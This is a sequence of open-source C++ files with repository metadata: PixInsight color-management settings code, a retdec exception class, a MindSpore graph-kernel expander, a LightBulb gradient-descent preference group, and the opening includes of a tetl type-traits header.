// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
// ----------------------------------------------------------------------------
#include "ColorManagementSetupInstance.h"
#include "ColorManagementSetupParameters.h"
#include <pcl/GlobalSettings.h>
#include <pcl/MetaModule.h>
namespace pcl
{
// ----------------------------------------------------------------------------
ColorManagementSetupInstance::ColorManagementSetupInstance( const MetaProcess* p )
: ProcessImplementation( p )
, p_enabled( TheCMSEnabledParameter->DefaultValue() )
, p_detectMonitorProfile( TheCMSDetectMonitorProfileParameter->DefaultValue() )
, p_defaultRenderingIntent( CMSRenderingIntent::DefaultForScreen )
, p_onProfileMismatch( CMSOnProfileMismatch::Default )
, p_onMissingProfile( CMSOnMissingProfile::Default )
, p_defaultEmbedProfilesInRGBImages( TheCMSDefaultEmbedProfilesInRGBImagesParameter->DefaultValue() )
, p_defaultEmbedProfilesInGrayscaleImages( TheCMSDefaultEmbedProfilesInGrayscaleImagesParameter->DefaultValue() )
, p_useLowResolutionCLUTs( TheCMSUseLowResolutionCLUTsParameter->DefaultValue() )
, p_proofingIntent( CMSRenderingIntent::DefaultForProofing )
, p_useProofingBPC( TheCMSUseProofingBPCParameter->DefaultValue() )
, p_defaultProofingEnabled( TheCMSDefaultProofingEnabledParameter->DefaultValue() )
, p_defaultGamutCheckEnabled( TheCMSDefaultGamutCheckEnabledParameter->DefaultValue() )
, p_gamutWarningColor( TheCMSGamutWarningColorParameter->DefaultValue() )
{
/*
* The default sRGB profile is system/platform dependent. It is detected
* automatically upon application startup.
*
* N.B.: We cannot call PixInsightSettings::GlobalString() if the module has
* not been installed, because it requires communication with the core
* application. The interface class will have to initialize its instance
* member in its reimplementation of Initialize().
*/
if ( Module->IsInstalled() )
{
String sRGBProfilePath = PixInsightSettings::GlobalString( "ColorManagement/SRGBProfilePath" );
if ( !sRGBProfilePath.IsEmpty() )
{
ICCProfile icc( sRGBProfilePath );
if ( icc.IsProfile() )
p_defaultRGBProfile = p_defaultGrayscaleProfile = p_proofingProfile = icc.Description();
}
}
}
// ----------------------------------------------------------------------------
ColorManagementSetupInstance::ColorManagementSetupInstance( const ColorManagementSetupInstance& x )
: ProcessImplementation( x )
{
Assign( x );
}
// ----------------------------------------------------------------------------
void ColorManagementSetupInstance::Assign( const ProcessImplementation& p )
{
const ColorManagementSetupInstance* x = dynamic_cast<const ColorManagementSetupInstance*>( &p );
if ( x != nullptr )
{
p_enabled = x->p_enabled;
p_detectMonitorProfile = x->p_detectMonitorProfile;
p_updateMonitorProfile = x->p_updateMonitorProfile;
p_defaultRGBProfile = x->p_defaultRGBProfile;
p_defaultGrayscaleProfile = x->p_defaultGrayscaleProfile;
p_defaultRenderingIntent = x->p_defaultRenderingIntent;
p_onProfileMismatch = x->p_onProfileMismatch;
p_onMissingProfile = x->p_onMissingProfile;
p_defaultEmbedProfilesInRGBImages = x->p_defaultEmbedProfilesInRGBImages;
p_defaultEmbedProfilesInGrayscaleImages = x->p_defaultEmbedProfilesInGrayscaleImages;
p_useLowResolutionCLUTs = x->p_useLowResolutionCLUTs;
p_proofingProfile = x->p_proofingProfile;
p_proofingIntent = x->p_proofingIntent;
p_useProofingBPC = x->p_useProofingBPC;
p_defaultProofingEnabled = x->p_defaultProofingEnabled;
p_defaultGamutCheckEnabled = x->p_defaultGamutCheckEnabled;
p_gamutWarningColor = x->p_gamutWarningColor;
}
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::CanExecuteOn( const View&, pcl::String& whyNot ) const
{
whyNot = "ColorManagementSetup can only be executed in the global context.";
return false;
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::CanExecuteGlobal( pcl::String& whyNot ) const
{
return true;
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::ExecuteGlobal()
{
/*
* Find all installed ICC profiles
*/
StringList all = ICCProfile::FindProfiles();
/*
* Find the default RGB profile
*/
StringList descriptions;
StringList paths;
ICCProfile::ExtractProfileList( descriptions,
paths,
all,
ICCColorSpace::RGB );
StringList::const_iterator i = descriptions.Search( p_defaultRGBProfile );
if ( i == descriptions.End() )
throw Error( "Couldn't find the '" + p_defaultRGBProfile + "' profile.\n"
"Either it has not been installed, it is not a valid RGB profile,\n"
"or the corresponding disk file has been removed." );
String rgbPath = paths[i - descriptions.Begin()];
/*
* Find the default grayscale profile
*/
descriptions.Clear();
paths.Clear();
ICCProfile::ExtractProfileList( descriptions,
paths,
all,
ICCColorSpace::RGB|ICCColorSpace::Gray );
i = descriptions.Search( p_defaultGrayscaleProfile );
if ( i == descriptions.End() )
throw Error( "Couldn't find the '" + p_defaultGrayscaleProfile + "' profile.\n"
"Either it has not been installed, or the corresponding disk file has been removed." );
String grayPath = paths[i - descriptions.Begin()];
/*
* Find the proofing profile
*/
descriptions.Clear();
paths.Clear();
ICCProfile::ExtractProfileList( descriptions,
paths,
all ); // all color spaces are valid for proofing
i = descriptions.Search( p_proofingProfile );
if ( i == descriptions.End() )
throw Error( "Couldn't find the '" + p_proofingProfile + "' profile.\n"
"Either it has not been installed, or the corresponding disk file has been removed." );
String proofingPath = paths[i - descriptions.Begin()];
/*
* Perform global settings update
*/
PixInsightSettings::BeginUpdate();
try
{
PixInsightSettings::SetGlobalFlag( "ColorManagement/IsEnabled", p_enabled );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DetectMonitorProfile", p_detectMonitorProfile );
if ( !p_updateMonitorProfile.IsEmpty() )
PixInsightSettings::SetGlobalString( "ColorManagement/UpdateMonitorProfile", p_updateMonitorProfile );
PixInsightSettings::SetGlobalString( "ColorManagement/DefaultRGBProfilePath", rgbPath );
PixInsightSettings::SetGlobalString( "ColorManagement/DefaultGrayscaleProfilePath", grayPath );
PixInsightSettings::SetGlobalInteger( "ColorManagement/DefaultRenderingIntent", p_defaultRenderingIntent );
PixInsightSettings::SetGlobalInteger( "ColorManagement/OnProfileMismatch", p_onProfileMismatch );
PixInsightSettings::SetGlobalInteger( "ColorManagement/OnMissingProfile", p_onMissingProfile );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultEmbedProfilesInRGBImages", p_defaultEmbedProfilesInRGBImages );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultEmbedProfilesInGrayscaleImages", p_defaultEmbedProfilesInGrayscaleImages );
PixInsightSettings::SetGlobalFlag( "ColorManagement/UseLowResolutionCLUTs", p_useLowResolutionCLUTs );
PixInsightSettings::SetGlobalString( "ColorManagement/ProofingProfilePath", proofingPath );
PixInsightSettings::SetGlobalInteger( "ColorManagement/ProofingIntent", p_proofingIntent );
PixInsightSettings::SetGlobalFlag( "ColorManagement/UseProofingBPC", p_useProofingBPC );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultProofingEnabled", p_defaultProofingEnabled );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultGamutCheckEnabled", p_defaultGamutCheckEnabled );
PixInsightSettings::SetGlobalColor( "ColorManagement/GamutWarningColor", p_gamutWarningColor );
PixInsightSettings::EndUpdate();
return true;
}
catch ( ... )
{
// ### Warning: Don't forget to do this, or the core will bite you!
PixInsightSettings::CancelUpdate();
throw;
}
}
// ----------------------------------------------------------------------------
void* ColorManagementSetupInstance::LockParameter( const MetaParameter* p, size_type /*tableRow*/ )
{
if ( p == TheCMSEnabledParameter )
return &p_enabled;
if ( p == TheCMSDetectMonitorProfileParameter )
return &p_detectMonitorProfile;
if ( p == TheCMSUpdateMonitorProfileParameter )
return p_updateMonitorProfile.Begin();
if ( p == TheCMSDefaultRGBProfileParameter )
return p_defaultRGBProfile.Begin();
if ( p == TheCMSDefaultGrayProfileParameter )
return p_defaultGrayscaleProfile.Begin();
if ( p == TheCMSDefaultRenderingIntentParameter )
return &p_defaultRenderingIntent;
if ( p == TheCMSOnProfileMismatchParameter )
return &p_onProfileMismatch;
if ( p == TheCMSOnMissingProfileParameter )
return &p_onMissingProfile;
if ( p == TheCMSDefaultEmbedProfilesInRGBImagesParameter )
return &p_defaultEmbedProfilesInRGBImages;
if ( p == TheCMSDefaultEmbedProfilesInGrayscaleImagesParameter )
return &p_defaultEmbedProfilesInGrayscaleImages;
if ( p == TheCMSUseLowResolutionCLUTsParameter )
return &p_useLowResolutionCLUTs;
if ( p == TheCMSProofingProfileParameter )
return p_proofingProfile.Begin();
if ( p == TheCMSProofingIntentParameter )
return &p_proofingIntent;
if ( p == TheCMSUseProofingBPCParameter )
return &p_useProofingBPC;
if ( p == TheCMSDefaultProofingEnabledParameter )
return &p_defaultProofingEnabled;
if ( p == TheCMSDefaultGamutCheckEnabledParameter )
return &p_defaultGamutCheckEnabled;
if ( p == TheCMSGamutWarningColorParameter )
return &p_gamutWarningColor;
return nullptr;
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::AllocateParameter( size_type sizeOrLength, const MetaParameter* p, size_type /*tableRow*/ )
{
if ( p == TheCMSDefaultRGBProfileParameter )
{
p_defaultRGBProfile.Clear();
if ( sizeOrLength != 0 )
p_defaultRGBProfile.SetLength( sizeOrLength );
}
else if ( p == TheCMSDefaultGrayProfileParameter )
{
p_defaultGrayscaleProfile.Clear();
if ( sizeOrLength != 0 )
p_defaultGrayscaleProfile.SetLength( sizeOrLength );
}
else if ( p == TheCMSProofingProfileParameter )
{
p_proofingProfile.Clear();
if ( sizeOrLength != 0 )
p_proofingProfile.SetLength( sizeOrLength );
}
else if ( p == TheCMSUpdateMonitorProfileParameter )
{
p_updateMonitorProfile.Clear();
if ( sizeOrLength != 0 )
p_updateMonitorProfile.SetLength( sizeOrLength );
}
else
return false;
return true;
}
// ----------------------------------------------------------------------------
size_type ColorManagementSetupInstance::ParameterLength( const MetaParameter* p, size_type /*tableRow*/ ) const
{
if ( p == TheCMSDefaultRGBProfileParameter )
return p_defaultRGBProfile.Length();
if ( p == TheCMSDefaultGrayProfileParameter )
return p_defaultGrayscaleProfile.Length();
if ( p == TheCMSProofingProfileParameter )
return p_proofingProfile.Length();
if ( p == TheCMSUpdateMonitorProfileParameter )
return p_updateMonitorProfile.Length();
return 0;
}
// ----------------------------------------------------------------------------
void ColorManagementSetupInstance::LoadCurrentSettings()
{
p_enabled = PixInsightSettings::GlobalFlag( "ColorManagement/IsEnabled" );
p_detectMonitorProfile = PixInsightSettings::GlobalFlag( "ColorManagement/DetectMonitorProfile" );
p_defaultRGBProfile = ICCProfile( PixInsightSettings::GlobalString( "ColorManagement/DefaultRGBProfilePath" ) ).Description();
p_defaultGrayscaleProfile = ICCProfile( PixInsightSettings::GlobalString( "ColorManagement/DefaultGrayscaleProfilePath" ) ).Description();
p_defaultRenderingIntent = PixInsightSettings::GlobalInteger( "ColorManagement/DefaultRenderingIntent" );
p_onProfileMismatch = PixInsightSettings::GlobalInteger( "ColorManagement/OnProfileMismatch" );
p_onMissingProfile = PixInsightSettings::GlobalInteger( "ColorManagement/OnMissingProfile" );
p_defaultEmbedProfilesInRGBImages = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultEmbedProfilesInRGBImages" );
p_defaultEmbedProfilesInGrayscaleImages = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultEmbedProfilesInGrayscaleImages" );
p_useLowResolutionCLUTs = PixInsightSettings::GlobalFlag( "ColorManagement/UseLowResolutionCLUTs" );
p_proofingProfile = ICCProfile( PixInsightSettings::GlobalString( "ColorManagement/ProofingProfilePath" ) ).Description();
p_proofingIntent = PixInsightSettings::GlobalInteger( "ColorManagement/ProofingIntent" );
p_useProofingBPC = PixInsightSettings::GlobalFlag( "ColorManagement/UseProofingBPC" );
p_defaultProofingEnabled = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultProofingEnabled" );
p_defaultGamutCheckEnabled = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultGamutCheckEnabled" );
p_gamutWarningColor = PixInsightSettings::GlobalColor( "ColorManagement/GamutWarningColor" );
}
// ----------------------------------------------------------------------------
} // pcl
// ----------------------------------------------------------------------------
// EOF ColorManagementSetupInstance.cpp - Released 2021-04-09T19:41:48Z
| 46.8125 | 142 | 0.66477 | fmeschia |
e7535460e7a1a09f86828d4a4a1063ff7dba429e | 620 | cpp | C++ | src/llvmir2hll/config/config.cpp | mehrdad-shokri/retdec | a82f16e97b163afe789876e0a819489c5b9b358e | [
"MIT",
"Zlib",
"BSD-3-Clause"
] | 4,816 | 2017-12-12T18:07:09.000Z | 2019-04-17T02:01:04.000Z | src/llvmir2hll/config/config.cpp | mehrdad-shokri/retdec | a82f16e97b163afe789876e0a819489c5b9b358e | [
"MIT",
"Zlib",
"BSD-3-Clause"
] | 514 | 2017-12-12T18:22:52.000Z | 2019-04-16T16:07:11.000Z | src/llvmir2hll/config/config.cpp | mehrdad-shokri/retdec | a82f16e97b163afe789876e0a819489c5b9b358e | [
"MIT",
"Zlib",
"BSD-3-Clause"
] | 579 | 2017-12-12T18:38:02.000Z | 2019-04-11T13:32:53.000Z | /**
* @file src/llvmir2hll/config/config.cpp
* @brief Implementation of the base class for all configs.
* @copyright (c) 2017 Avast Software, licensed under the MIT license
*/
#include "retdec/llvmir2hll/config/config.h"
namespace retdec {
namespace llvmir2hll {
/**
* @brief Constructs the exception with the given error message.
*/
ConfigError::ConfigError(const std::string &message):
message(message) {}
const char *ConfigError::what() const noexcept {
return message.c_str();
}
const std::string &ConfigError::getMessage() const noexcept {
return message;
}
} // namespace llvmir2hll
} // namespace retdec
| 22.142857 | 68 | 0.740323 | mehrdad-shokri |
e75402a10dfd4b75340332d6eb8d93e13db584fb | 9,086 | cc | C++ | mindspore/ccsrc/backend/optimizer/graph_kernel/graph_kernel_expander.cc | huxian123/mindspore | ec5ba10c82bbd6eccafe32d3a1149add90105bc8 | [
"Apache-2.0"
] | 1 | 2021-06-02T02:46:20.000Z | 2021-06-02T02:46:20.000Z | mindspore/ccsrc/backend/optimizer/graph_kernel/graph_kernel_expander.cc | nudt-eddie/mindspore | 55372b41fdfae6d2b88d7078971e06d537f6c558 | [
"Apache-2.0"
] | null | null | null | mindspore/ccsrc/backend/optimizer/graph_kernel/graph_kernel_expander.cc | nudt-eddie/mindspore | 55372b41fdfae6d2b88d7078971e06d537f6c558 | [
"Apache-2.0"
] | null | null | null | /**
* Copyright 2020 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "backend/optimizer/graph_kernel/graph_kernel_expander.h"
#include <vector>
#include <string>
#include <unordered_set>
#include "backend/session/anf_runtime_algorithm.h"
#include "pipeline/jit/parse/python_adapter.h"
#include "mindspore/core/ir/graph_utils.h"
#include "backend/optimizer/graph_kernel/graph_kernel_helper.h"
#include "backend/kernel_compiler/akg/akg_kernel_json_generator.h"
#include "vm/segment_runner.h"
#include "runtime/device/kernel_info.h"
#include "backend/kernel_compiler/common_utils.h"
#include "backend/kernel_compiler/kernel_build_info.h"
namespace mindspore {
namespace opt {
namespace {
constexpr auto kJsonKeyExpandInfo = "expand_info";
#define GET_VALUE_FOR_JSON(JSON, VALUE, VALUE_ELEM, TYPE_NAME, TYPE) \
if (VALUE_ELEM->isa<TYPE_NAME>()) { \
JSON = GetValue<TYPE>(VALUE); \
}
nlohmann::json ExpandAttrJsonInfo(const CNodePtr &cnode) {
nlohmann::json attrs_json;
if (auto prim = GetCNodePrimitive(cnode); prim != nullptr) {
auto attrs = prim->attrs();
for (const auto &[k, v] : attrs) {
nlohmann::json attr_json;
MS_LOG(DEBUG) << "attr key is : " << k << " and value type is : " << v->type_name();
GET_VALUE_FOR_JSON(attr_json[k], v, v, Int32Imm, int);
GET_VALUE_FOR_JSON(attr_json[k], v, v, Int64Imm, int64_t);
GET_VALUE_FOR_JSON(attr_json[k], v, v, UInt32Imm, uint32_t);
GET_VALUE_FOR_JSON(attr_json[k], v, v, UInt64Imm, uint64_t);
GET_VALUE_FOR_JSON(attr_json[k], v, v, FP32Imm, float);
GET_VALUE_FOR_JSON(attr_json[k], v, v, FP64Imm, double);
GET_VALUE_FOR_JSON(attr_json[k], v, v, BoolImm, bool);
GET_VALUE_FOR_JSON(attr_json[k], v, v, StringImm, std::string);
if (v->isa<ValueList>() || v->isa<ValueTuple>()) {
auto vec = v->isa<ValueList>() ? v->cast<ValueListPtr>()->value() : v->cast<ValueTuplePtr>()->value();
if (!vec.empty()) {
MS_LOG(DEBUG) << "value type is : " << vec[0]->type_name();
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], Int32Imm, std::vector<int>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], Int64Imm, std::vector<int64_t>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], UInt32Imm, std::vector<uint32_t>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], UInt64Imm, std::vector<uint64_t>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], FP32Imm, std::vector<float>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], FP64Imm, std::vector<double>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], StringImm, std::vector<std::string>);
}
}
if (!attr_json.empty()) {
attrs_json.push_back(attr_json);
}
}
}
return attrs_json;
}
bool ExpandJsonInfo(const CNodePtr &cnode, nlohmann::json *kernel_json) {
MS_EXCEPTION_IF_NULL(kernel_json);
if (kernel_json->find(kJsonKeyExpandInfo) != kernel_json->end()) {
return false;
}
nlohmann::json expand_info;
expand_info[kernel::kJsonKeyAttr] = ExpandAttrJsonInfo(cnode);
expand_info[kernel::kJsonKeyName] = AnfAlgo::GetCNodeName(cnode);
expand_info[kernel::kJsonKeyProcess] = kernel::GetProcessorStr(cnode);
std::vector<nlohmann::json> inputs_info;
for (size_t i = 0; i < AnfAlgo::GetInputTensorNum(cnode); ++i) {
nlohmann::json input_info;
input_info[kernel::kJsonKeyFormat] = AnfAlgo::GetInputFormat(cnode, i);
input_info[kernel::kJsonKeyInferShape] = AnfAlgo::GetPrevNodeOutputInferShape(cnode, i);
input_info[kernel::kJsonKeyShape] = AnfAlgo::GetInputDeviceShape(cnode, i);
input_info[kernel::kJsonKeyInferDataType] =
kernel::TypeId2String(AnfAlgo::GetPrevNodeOutputInferDataType(cnode, i));
input_info[kernel::kJsonKeyDataType] = kernel::TypeId2String(AnfAlgo::GetInputDeviceDataType(cnode, i));
inputs_info.push_back(input_info);
}
expand_info[kernel::kJsonKeyInputDesc] = inputs_info;
std::vector<nlohmann::json> outputs_info;
for (size_t i = 0; i < AnfAlgo::GetOutputTensorNum(cnode); ++i) {
nlohmann::json output_info;
output_info[kernel::kJsonKeyFormat] = AnfAlgo::GetOutputFormat(cnode, i);
output_info[kernel::kJsonKeyInferShape] = AnfAlgo::GetOutputInferShape(cnode, i);
output_info[kernel::kJsonKeyShape] = AnfAlgo::GetOutputDeviceShape(cnode, i);
output_info[kernel::kJsonKeyInferDataType] = kernel::TypeId2String(AnfAlgo::GetOutputInferDataType(cnode, i));
output_info[kernel::kJsonKeyDataType] = kernel::TypeId2String(AnfAlgo::GetOutputDeviceDataType(cnode, i));
outputs_info.push_back(output_info);
}
expand_info[kernel::kJsonKeyOutputDesc] = outputs_info;
(*kernel_json)[kJsonKeyExpandInfo] = expand_info;
return true;
}
} // namespace
FuncGraphPtr GraphKernelExpander::CreateExpandFuncGraph(const CNodePtr &node) {
nlohmann::json kernel_json;
if (!ExpandJsonInfo(node, &kernel_json)) {
MS_LOG(ERROR) << "Expand json info to: " << node->DebugString(2) << " failed, ori_json:\n" << kernel_json.dump();
return nullptr;
}
auto node_desc_str = kernel_json.dump();
// call graph kernel ops generator.
MS_LOG(DEBUG) << "CallPyFn: [" << kGetGraphKernelOpExpander << "] with input json:\n" << node_desc_str;
auto ret = parse::python_adapter::CallPyFn(kGraphKernelModule, kGetGraphKernelOpExpander, node_desc_str);
// parse result.
if (ret.is(py::none())) {
MS_LOG(ERROR) << "CallPyFn: [" << kGetGraphKernelOpExpander << "] return invalid result, input json:\n"
<< node_desc_str;
return nullptr;
}
std::string kernel_desc_str = py::cast<std::string>(ret);
if (kernel_desc_str.empty()) {
MS_LOG(ERROR) << "Jump expand node: " << node->fullname_with_scope();
return nullptr;
}
// decode json to func_graph.
std::vector<AnfNodePtr> ori_inputs(node->inputs().begin() + 1, node->inputs().end());
return JsonDescToAnf(kernel_desc_str, ori_inputs);
}
AnfNodePtr GraphKernelExpander::CreateExpandGraphKernel(const FuncGraphPtr &func_graph,
const FuncGraphPtr &new_func_graph, const CNodePtr &node) {
std::vector<AnfNodePtr> inputs(node->inputs().begin() + 1, node->inputs().end());
AnfNodePtrList kernel_nodes;
AnfNodePtrList outputs;
kernel::GetValidKernelNodes(new_func_graph, &kernel_nodes);
kernel::GetFuncGraphOutputNodes(new_func_graph, &outputs);
auto graph_kernel_node = CreateNewFuseCNode(func_graph, new_func_graph, inputs, outputs, false);
SetNewKernelInfo(graph_kernel_node, new_func_graph, inputs, outputs, AnfAlgo::GetProcessor(node));
std::string graph_kernel_flag;
std::for_each(kernel_nodes.begin(), kernel_nodes.end(), [&graph_kernel_flag](const AnfNodePtr &node) {
static_cast<void>(graph_kernel_flag.append(AnfAlgo::GetCNodeName(node)).append("_"));
});
MS_LOG(DEBUG) << "Expand node: " << node->fullname_with_scope() << " with: " << graph_kernel_flag;
return graph_kernel_node;
}
bool GraphKernelExpander::DoExpand(const FuncGraphPtr &func_graph) {
bool changed = false;
auto todos = TopoSort(func_graph->get_return());
std::reverse(todos.begin(), todos.end());
auto mng = func_graph->manager();
MS_EXCEPTION_IF_NULL(mng);
for (const auto &n : todos) {
auto node = n->cast<CNodePtr>();
if (node == nullptr || !AnfAlgo::IsRealKernel(node) || AnfAlgo::IsGraphKernel(node) || !CanExpand(node)) {
continue;
}
MS_LOG(INFO) << "Expand process node: " << node->fullname_with_scope();
auto new_func_graph = CreateExpandFuncGraph(node);
if (new_func_graph == nullptr) {
MS_LOG(ERROR) << "Decode fused nodes failed, " << node->fullname_with_scope();
continue;
}
mng->AddFuncGraph(new_func_graph);
MS_LOG(DEBUG) << "decode fused nodes success.";
auto graph_kernel_node = CreateExpandGraphKernel(func_graph, new_func_graph, node);
new_func_graph->set_attr(FUNC_GRAPH_ATTR_GRAPH_KERNEL, MakeValue(AnfAlgo::GetCNodeName(node)));
MS_LOG(INFO) << "create new cnode success.";
// replace origin node.
(void)mng->Replace(node, graph_kernel_node);
changed = true;
}
return changed;
}
bool GraphKernelExpander::Run(const FuncGraphPtr &func_graph) {
expand_ops_ = GetExpandOps();
MS_EXCEPTION_IF_NULL(func_graph);
auto mng = func_graph->manager();
if (mng == nullptr) {
mng = Manage(func_graph, true);
func_graph->set_manager(mng);
}
return DoExpand(func_graph);
}
} // namespace opt
} // namespace mindspore
| 43.89372 | 117 | 0.701519 | huxian123 |
e755ab2b68d7b1cb169e62ed490f9cbc0275fbbe | 4,850 | cpp | C++ | src/LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentLearningRulePreferenceGroup.cpp | domin1101/ANNHelper | 50acb5746d6dad6777532e4c7da4983a7683efe0 | [
"Zlib"
] | 5 | 2016-02-04T06:14:42.000Z | 2017-02-06T02:21:43.000Z | src/LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentLearningRulePreferenceGroup.cpp | domin1101/ANNHelper | 50acb5746d6dad6777532e4c7da4983a7683efe0 | [
"Zlib"
] | 41 | 2015-04-15T21:05:45.000Z | 2015-07-09T12:59:02.000Z | src/LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentLearningRulePreferenceGroup.cpp | domin1101/LightBulb | 50acb5746d6dad6777532e4c7da4983a7683efe0 | [
"Zlib"
] | null | null | null | // Includes
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentLearningRulePreferenceGroup.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/ChoicePreference.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentAlgorithms/SimpleGradientDescentPreferenceGroup.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentAlgorithms/ResilientLearningRatePreferenceGroup.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientCalculation/BackpropagationPreferenceGroup.hpp"
#include "LightBulb/Learning/Supervised/GradientDescentLearningRule.hpp"
#include "LightBulb/Learning/Supervised/GradientDescentAlgorithms/SimpleGradientDescent.hpp"
#include "LightBulb/Learning/Supervised/GradientDescentAlgorithms/ResilientLearningRate.hpp"
#include "LightBulb/Learning/Supervised/GradientCalculation/Backpropagation.hpp"
namespace LightBulb
{
#define PREFERENCE_GRADIENT_DECENT_ALGORITHM "Gradient decent algorithm"
#define CHOICE_SIMPLE_GRADIENT_DESCENT "Simple gradient descent"
#define CHOICE_RESILIENT_LEARNING_RATE "Resilient learning rate"
GradientDescentLearningRulePreferenceGroup::GradientDescentLearningRulePreferenceGroup(bool skipGradientDescentAlgorithm, const std::string& name)
:AbstractSupervisedLearningRulePreferenceGroup(name)
{
GradientDescentLearningRuleOptions options;
SimpleGradientDescentOptions simpleGradientDescentOptions;
ResilientLearningRateOptions resilientLearningRateOptions;
initialize(skipGradientDescentAlgorithm, options, simpleGradientDescentOptions, resilientLearningRateOptions);
}
GradientDescentLearningRulePreferenceGroup::GradientDescentLearningRulePreferenceGroup(const GradientDescentLearningRuleOptions& options, bool skipGradientDescentAlgorithm, const std::string& name)
:AbstractSupervisedLearningRulePreferenceGroup(options, name)
{
SimpleGradientDescentOptions simpleGradientDescentOptions;
ResilientLearningRateOptions resilientLearningRateOptions;
initialize(skipGradientDescentAlgorithm, options, simpleGradientDescentOptions, resilientLearningRateOptions);
}
GradientDescentLearningRulePreferenceGroup::GradientDescentLearningRulePreferenceGroup(const GradientDescentLearningRuleOptions& options, const SimpleGradientDescentOptions& simpleGradientDescentOptions, const ResilientLearningRateOptions& resilientLearningRateOptions, const std::string& name)
{
initialize(false, options, simpleGradientDescentOptions, resilientLearningRateOptions);
}
void GradientDescentLearningRulePreferenceGroup::initialize(bool skipGradientDescentAlgorithm, const GradientDescentLearningRuleOptions& options, const SimpleGradientDescentOptions& simpleGradientDescentOptions, const ResilientLearningRateOptions& resilientLearningRateOptions)
{
AbstractSupervisedLearningRulePreferenceGroup::initialize(options);
if (!skipGradientDescentAlgorithm) {
ChoicePreference* choicePreference = new ChoicePreference(PREFERENCE_GRADIENT_DECENT_ALGORITHM, CHOICE_SIMPLE_GRADIENT_DESCENT);
choicePreference->addChoice(CHOICE_SIMPLE_GRADIENT_DESCENT);
choicePreference->addChoice(CHOICE_RESILIENT_LEARNING_RATE);
addPreference(choicePreference);
addPreference(new SimpleGradientDescentPreferenceGroup(simpleGradientDescentOptions));
addPreference(new ResilientLearningRatePreferenceGroup(resilientLearningRateOptions));
}
addPreference(new BackpropagationPreferenceGroup());
}
GradientDescentLearningRuleOptions GradientDescentLearningRulePreferenceGroup::create() const
{
GradientDescentLearningRuleOptions options;
fillOptions(options);
std::string gradientDescentAlgorithm = "";
try {
gradientDescentAlgorithm = getChoicePreference(PREFERENCE_GRADIENT_DECENT_ALGORITHM);
} catch(std::exception e) {
gradientDescentAlgorithm = "";
}
if (gradientDescentAlgorithm == CHOICE_SIMPLE_GRADIENT_DESCENT)
{
SimpleGradientDescentOptions gradientDescentOptions = createFromGroup<SimpleGradientDescentOptions, SimpleGradientDescentPreferenceGroup>();
options.gradientDescentAlgorithm = new SimpleGradientDescent(gradientDescentOptions);
}
else if (gradientDescentAlgorithm == CHOICE_RESILIENT_LEARNING_RATE)
{
ResilientLearningRateOptions resilientLearningRateOptions = createFromGroup<ResilientLearningRateOptions, ResilientLearningRatePreferenceGroup>();
options.gradientDescentAlgorithm = new ResilientLearningRate(resilientLearningRateOptions);
}
options.gradientCalculation = createFromGroup<Backpropagation*, BackpropagationPreferenceGroup>();
return options;
}
AbstractCloneable* GradientDescentLearningRulePreferenceGroup::clone() const
{
return new GradientDescentLearningRulePreferenceGroup(*this);
}
}
| 55.113636 | 295 | 0.869897 | domin1101 |
e75774aca89736736575c1d8d599fb4083df457e | 3,224 | hpp | C++ | etl/_type_traits/invoke_result.hpp | tobanteAudio/taetl | 0aa6365aa156b297745f395882ff366a8626e5e0 | [
"BSL-1.0"
] | 4 | 2021-11-28T08:48:11.000Z | 2021-12-14T09:53:51.000Z | etl/_type_traits/invoke_result.hpp | tobanteEmbedded/tetl | fc3272170843bcab47971191bcd269a86c5b5101 | [
"BSL-1.0"
] | null | null | null | etl/_type_traits/invoke_result.hpp | tobanteEmbedded/tetl | fc3272170843bcab47971191bcd269a86c5b5101 | [
"BSL-1.0"
] | 1 | 2019-04-29T20:09:19.000Z | 2019-04-29T20:09:19.000Z | /// \copyright Tobias Hienzsch 2019-2021
/// Distributed under the Boost Software License, Version 1.0.
/// See accompanying file LICENSE or copy at http://boost.org/LICENSE_1_0.txt
#ifndef TETL_TYPE_TRAITS_INVOKE_RESULT_HPP
#define TETL_TYPE_TRAITS_INVOKE_RESULT_HPP
#include "etl/_type_traits/bool_constant.hpp"
#include "etl/_type_traits/decay.hpp"
#include "etl/_type_traits/declval.hpp"
#include "etl/_type_traits/enable_if.hpp"
#include "etl/_type_traits/is_base_of.hpp"
